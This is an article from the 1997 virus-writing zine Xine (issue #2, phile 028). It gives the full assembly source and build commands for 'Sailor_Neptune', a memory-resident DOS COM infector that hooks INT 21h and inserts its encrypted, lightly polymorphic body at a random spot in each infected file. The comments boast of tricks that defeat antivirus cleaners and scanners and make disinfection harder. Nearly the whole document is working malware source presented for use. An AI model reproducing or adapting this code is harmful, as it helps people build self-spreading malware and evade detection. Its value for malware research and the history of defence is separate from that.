Copy Link
Add to Bookmark
Report
xine-2.028
/-----------------------------\
| Xine - issue #2 - Phile 028 |
\-----------------------------/
;
; Virus Name : Sailor_Neptune
; Virus Author : b0z0
; Origin : Padania, March/April 1997
; Compiling : Use TASM 3.0
; tasm /m5 neptune.asm
; tlink /t neptune
; Tech Desc : Sailor_Neptune is a quite simple TSR COM infector,
; that will place itself not at the end of the file but
; in a random position in the middle of the file.
; It is just a little bit polymorphic. The sequence of
; the operations in the decryptor is always the same,
; but registers and operations are changed. The key
; of the operation (add,sub,xor) is changed with another
; math operation. This little polymorphism isn't aimed
; to make the virus unscannable (since it is very simple
; and scannable :) ), but is rather done to make the
; disinfection procedure harder. Of course the piece of
; the file that has been overwritten by the virus is saved
; at the end of the file. Of course it is encrypted.
; There are some AV-tricks in the virus (TBClean for
; example will just cut the .COM at the virus position
; and leaving a JMP AX as the first opcodes in the
; 'cleaned' file ;) ) to make scanning and removing
; even harder. To fool TBScan (always) and AVP
; (just sometimes, quite never) the COMs will have the entry
; point simillar to a PKlited file. So a 'packed program'
; warning may appear :)
; Of course this 'midplacing' method makes also CRC to
; miserably fail.
; Since the virus is placed somewhere in the middle of
; the file it isn't possible to do the simple lenght
; addition (as Yosha suggest) to the CRC after the
; coms that have the enuns selfcheck, because it
; may be just where the virus has been placed. So
; instead of risking this the virus will simply skip
; those coms.
; There isn't too much to say about this virus. Since
; it infects just COMs i don't think it will have good
; possibilityes to spread around. On the other side i
; think (well, i hope) that removing this virus isn't
; really simple, so AV-ers will have to work a little :)
; Well, that's all for now ;)
; I had some more projects for this virus (to make it
; a lot better) but due to time restrictions this virus
; hasn't been finished as i have initially hoped.
; But that's life ;))
;
neptune segment
assume cs:neptune, ds:neptune; es:neptune
org 100h
start:
mov di,offset enc_start ; mov reg_pointer,offset
counter:
mov cx,(virus_nopoly/2) ; mov reg_counter,size
operator:
mov dx,00h ; mov reg_operand,init_value
decrypt_loop:
xor word ptr ds:[di],dx ; oper [reg_pointer],reg_oper
modifyer:
add dx,00h ; oper reg_oper,oper_value
inc_memory:
inc di ; inc reg_pointer
inc di ; inc reg_pointer
decrement:
dec cx ; dec reg_counter
jnz decrypt_loop
enc_start:
pop bp ; just to be precise correct
; the stack from the 'PK' :)
call delta ; delta offset
delta:
pop bp
sub bp,offset delta
mov ax,3026h ; install check
int 21h
cmp ax,2630h
jne not_installed
jmp restore_com
not_installed:
mov ax,es ; psp
dec ax
mov ds,ax ; mcb
xor di,di
check_mcb:
cmp byte ptr ds:[di],'Z' ; last?
je last_block
add ax,word ptr ds:[di+03h]
inc ax
mov ds,ax ; on next
jmp check_mcb
last_block:
sub word ptr ds:[di+03h],para_virus
sub word ptr ds:[di+12h],para_virus
mov byte ptr ds:[di],'M'
add ax,word ptr ds:[di+03h]
inc ax ; virus mcb segment
mov ds,ax
mov word ptr ds:[di+03h],para_virus-1
mov word ptr ds:[di+01h],08h
mov byte ptr ds:[di],'Z'
inc ax ; virus segment
push cs
pop ds
sub ax,0fh ; so CS:IP will be correct
; considering that the adresses
; are calculated from start
; as CS:100h
mov cx,virus_words
mov es,ax
mov di,100h
lea si,[bp+start] ; copy virus
rep movsw
xor dx,dx
mov ds,dx
mov cx,offset virus_int21
cli
xchg cx,word ptr ds:[084h] ; install int21h
xchg ax,word ptr ds:[086h]
mov word ptr es:[old_21_off],cx
mov word ptr es:[old_21_seg],ax
sti
push cs
pop ds
push cs
pop es
restore_com:
mov di,100h
mov word ptr ds:[di],0e0ffh ; jmp ax
mov ax,bp
add ax,offset return_antitbclean ; calculate return jmp
jmp di ; just to fuck tbclean
; or simillar progs
return_antitbclean:
push di
lea si,[offset first_old + bp] ; restore first 5 bytes
movsw
movsb
movsw
pop bx
mov si,word ptr ds:[orig_pos+bp] ; original bytes pos
add si,bx
mov di,si
add di,(virus_size-1)
mov al,byte ptr ds:[dec_value+bp] ; position dec value
mov byte ptr ds:[di+1],al
std
call enc_dec_orig ; decrypt original
cld
mov di,word ptr ds:[virus_pos+bp] ; virus position
add di,bx
mov cx,virus_size
sub bx,02h ; jump to cs:0FEh
mov word ptr ds:[bx],0a4f3h ; REP MOVSB
push bx
xor bx,bx
xor ax,ax
xor dx,dx
xor bp,bp
ret ; go there!
first_old db 0cdh,020h,00h,00h,00h
virus_pos dw (virus_end_mem) ; where the virus resides
orig_pos dw (virus_end_mem) ; where the original body
; is placed (= filelenght)
virus_int21:
cmp ax,3026h ; residency check
jne no_rescheck
xchg ah,al
iret
no_rescheck:
xor ax,4b00h ; execute
jz execute
chain_old_21:
xor ax,4b00h
db 0eah
old_21_off dw 00h
old_21_seg dw 00h
virus_name db 'Sailor_Neptune',0
execute:
pushf
push ds
push es
push ax
push cx
push dx
push bx
push di
push si
push bp
push ds
push dx
push cs
pop ds
mov ax,3524h ; save int 24h handler
int 21h
mov word ptr ds:[old_24off],bx
mov word ptr ds:[old_24seg],es
mov dx,offset int_24handler
mov ax,2524h
int 21h ; set our int 24h
pop dx
pop ds
mov di,dx
mov ax,4300h ; get attributes
int 21h
push cx ; push attribs
push dx ; push filename seg:off
push ds
xor cx,cx ; delete attributes
call attrib_set
jnc ok_writing
add sp,06h ; adjust stack and exit
first_exit:
jmp error_opening ; if error occoured
ok_writing:
mov ax,3D02h ; open for RW
int 21h
jnc ok_open
jmp error_opening_att
ok_open:
push ax
pop bx ; BX handle
push cs
pop ds
mov ax,5700h ; store date and time
int 21h
mov word ptr ds:[filedate],dx
mov word ptr ds:[filetime],cx
mov ah,3fh ; read from file
mov cx,05h
mov dx,offset first_old
int 21h
cmp byte ptr ds:[first_old],'M' ; MZ ?
je exit_buffer_err
cmp byte ptr ds:[first_old],'Z' ; ZM ?
je exit_buffer_err
cmp word ptr ds:[first_old],'KP' ; Pklited? :))
jne ok_buffer
cmp byte ptr ds:[first_old+2],0e9h ; jump after PK?
jne ok_buffer
exit_buffer_err:
jmp exit_nofile
ok_buffer:
stc
call go_body_pos ; seek to end
mov word ptr ds:[orig_pos],ax
; check file lenght
cmp ax,(0fadeh - virus_size - 32) ; enough space?
jae bad_lenght
cmp ax,2000d ; not too short
ja ok_file
bad_lenght:
jmp exit_nofile
ok_file:
mov cx,ax ; cx=file lenght
sub cx,(virus_size)
random_place:
in ax,40h ; get random
mov dx,ax
in ax,40h
xor ax,dx
cmp ax,cx ; from 05 to Fsize-vsize
jae random_place
cmp ax,05h
jbe random_place
push ax
mov word ptr ds:[virus_pos],ax
call go_body_pos ; go to random position in file
mov ah,3fh ; read what will be overwritten
mov dx,offset file_buffer
mov cx,virus_size
int 21h
mov ax,word ptr ds:[orig_pos]
sub ax,04h
call go_body_pos ; go to the end-5
mov ah,3fh ; read last 5 bytes
mov dx,offset last_four
mov cx,04h
int 21h
pop ax
cmp word ptr ds:[last_four],'SN' ; special coms?
je exit_nofile
push ax
cld
mov di,offset file_buffer
in al,40h
mov byte ptr ds:[dec_value],al
mov byte ptr ds:[virus_end_mem-1],al
push cs
pop es
call enc_dec_orig ; encrypt original bytes
mov dx,offset file_buffer
mov cx,virus_size
call write_oper ; write original bytes
in al,40h
xor ah,ah
add dx,ax ; add random offset
and al,011111b ; write some rnd bytes
mov cx,ax
write_check:
call write_oper
pop ax
push ax
call go_body_pos ; go to the sel. rnd pos
call encrypt_it
mov dx,100h
mov cx,(offset enc_start - offset start)
call write_oper
mov dx,offset enc_start
mov cx,virus_nopoly
call encryptor
call write_oper ; write virus body in file
xor ax,ax
call go_body_pos ; go to start
pop ax ; ax = pos of virus body
sub ax,05h ; - jump - 'PK'
mov di,offset file_buffer
mov word ptr ds:[di],'KP'
mov byte ptr ds:[di+2],0e9h ; code the jump
mov word ptr ds:[di+3],ax
mov dx,di
mov cx,05h
call write_oper ; write the jump
mov dx,word ptr ds:[filedate]
mov cx,word ptr ds:[filetime]
mov ax,5701h ; restore date and time
int 21h
exit_nofile:
mov ah,3eh ; close file
int 21h
error_opening_att:
pop ds
pop dx
pop cx
call attrib_set
error_opening:
mov dx,word ptr ds:[old_24off]
mov ds,word ptr cs:[old_24seg]
mov ax,2524h
int 21h ; old int 24h handler
pop bp
pop si
pop di
pop bx
pop dx
pop cx
pop ax
pop es
pop ds
popf
jmp chain_old_21
author db '-b0z0/iKx-'
; As for encryption of the original piece of code of the COM...
; Instead of using a more classic xor for each byte with a fixed value,
; the routine is somehow recursive. Infact when we are encrypting the
; key of the first byte is the second byte, the key for the second byte
; is the third byte and so on till the end, where the key for the last
; byte is the random value. So for the decryption the algorithm will
; be inverse, starting from the end and using the random value it will
; decrypt from the end to the start 'generating' in the same time the
; needed decryption keys...
; Maybe AVrs will have to spend some more bytes to restore this data
; comparing the restoration of the other too classic method ;))
enc_dec_orig:
mov cx,(virus_size)
data_encrypt:
mov al,byte ptr ds:[di] ; will be enc
mov dl,byte ptr ds:[di+1] ; key
xor al,dl
stosb
loop data_encrypt
ret
dec_value db 00h
encrypt_it:
call do_register
cmp al,03h ; is BX
je ok_pointer
cmp al,05h ; only SI or DI
jbe encrypt_it
ok_pointer:
mov cl,al
push ax
add al,040h ; inc
mov ah,al
mov word ptr ds:[inc_memory],ax
pop ax
add al,0b8h
mov byte ptr ds:[start],al ; mov pointer
mov ax,word ptr ds:[virus_pos]
add ax,offset enc_start
mov word ptr ds:[start+1],ax ; pointer value
mov al,04h
cmp cl,06h
je no_change
inc al ; decryptor byte
cmp cl,07h ; pointer dependant
je no_change
inc al
inc al
no_change:
push ax
change_register:
call do_register
cmp al,cl
je change_register
mov ch,al
push ax
mov dl,0c0h ; add base
mody_oper:
call do_register
cmp al,02h
ja mody_oper
or al,al
jz ok_store
add dl,28h ; +28h = sub
cmp al,01h
je ok_store
add dl,08h ; +8h = xor
ok_store:
push dx
add dl,ch
mov byte ptr ds:[modifyer+1],dl ; change operand
pop dx ; and operation
inc dl
inc dl
mov byte ptr ds:[opera+1],dl ; for encryption
in al,40h
mov byte ptr ds:[modifyer+2],al
mov byte ptr ds:[opera+2],al
pop ax
add al,0b8h
mov byte ptr ds:[operator],al ; mov operand,
in ax,40h
mov word ptr ds:[operator+1],ax
mov word ptr ds:[encryption+1],ax
change_counter:
call do_register
cmp al,cl
je change_counter
cmp al,ch
je change_counter
push ax
add al,048h
mov byte ptr ds:[decrement],al ; dec counter
pop ax
add al,0b8h
mov byte ptr ds:[counter],al ; mov counter,size
pop ax
dec_crea:
cmp ch,00h
je finished_change
add al,08h
dec ch
jmp dec_crea
finished_change:
mov byte ptr ds:[decrypt_loop+1],al ; oper [mem],operand
; main operation
main_oper:
call do_register
cmp al,02h ; xor, sub or add
ja main_oper
mov cl,al ; al = 01h = add
mov al,01h
cmp cl,00h
je ok_do_add
add al,28h ; al = 29h = sub
cmp cl,01h
je ok_do_add
add al,08h ; al = 31h = xor
ok_do_add:
mov byte ptr ds:[decrypt_loop],al ; store main oper
mov al,31h ; generate the adeguate encryption
cmp cl,02h
je ok_reverse ; for xor use xor
sub al,08h
cmp cl,00h ; for add use sub
je ok_reverse
sub al,028h ; for sub use add ;)
ok_reverse:
mov byte ptr ds:[enc_loop],al
ret
do_register:
in al,40h
and al,0111b
cmp al,04h
je do_register ; no SP
ret
encryptor:
; dx = offset
; cx = bytes size
push cs
pop es
push cx
mov di,offset file_buffer
push di
mov si,dx ; source
push di
shr cx,1 ; to words
push cx
rep movsw ; copy body
pop cx
pop si
encryption:
mov dx,0000h ; will be changed by poly
enc_loop:
xor word ptr ds:[si],dx
opera:
add dx,00h ; change operator
inc si ; next word
inc si
loop enc_loop
pop dx
pop cx
ret
write_oper:
mov ah,40h ; write to file
int 21h
ret
go_body_pos: ; if C set then seek to end
mov dx,ax ; if NC go to 0:DX from start
mov ax,4200h
jnc no_seek_end
inc al
inc al
cwd
no_seek_end:
xor cx,cx
int 21h
ret
attrib_set:
mov ax,4301h ; set attributes
int 21h
ret
int_24handler:
xor al,al
iret
virus_end:
; EQUs ---
para_virus = (offset virus_end_mem - offset start + 0fh)/10h + 2
virus_words = (offset virus_end_mem - offset start + 1)/2
virus_size = (offset virus_end - offset start + 1)
virus_nopoly = (offset virus_end - offset enc_start + 1)
;
old_24off dw 00h ; int 24h offset
old_24seg dw 00h ; int 24h segment
filedate dw 00h ; file date
filetime dw 00h ; file time
last_four db 04h dup (?) ; last five bytes
file_buffer db (virus_size+1) dup (?)
virus_end_mem:
neptune ends
end start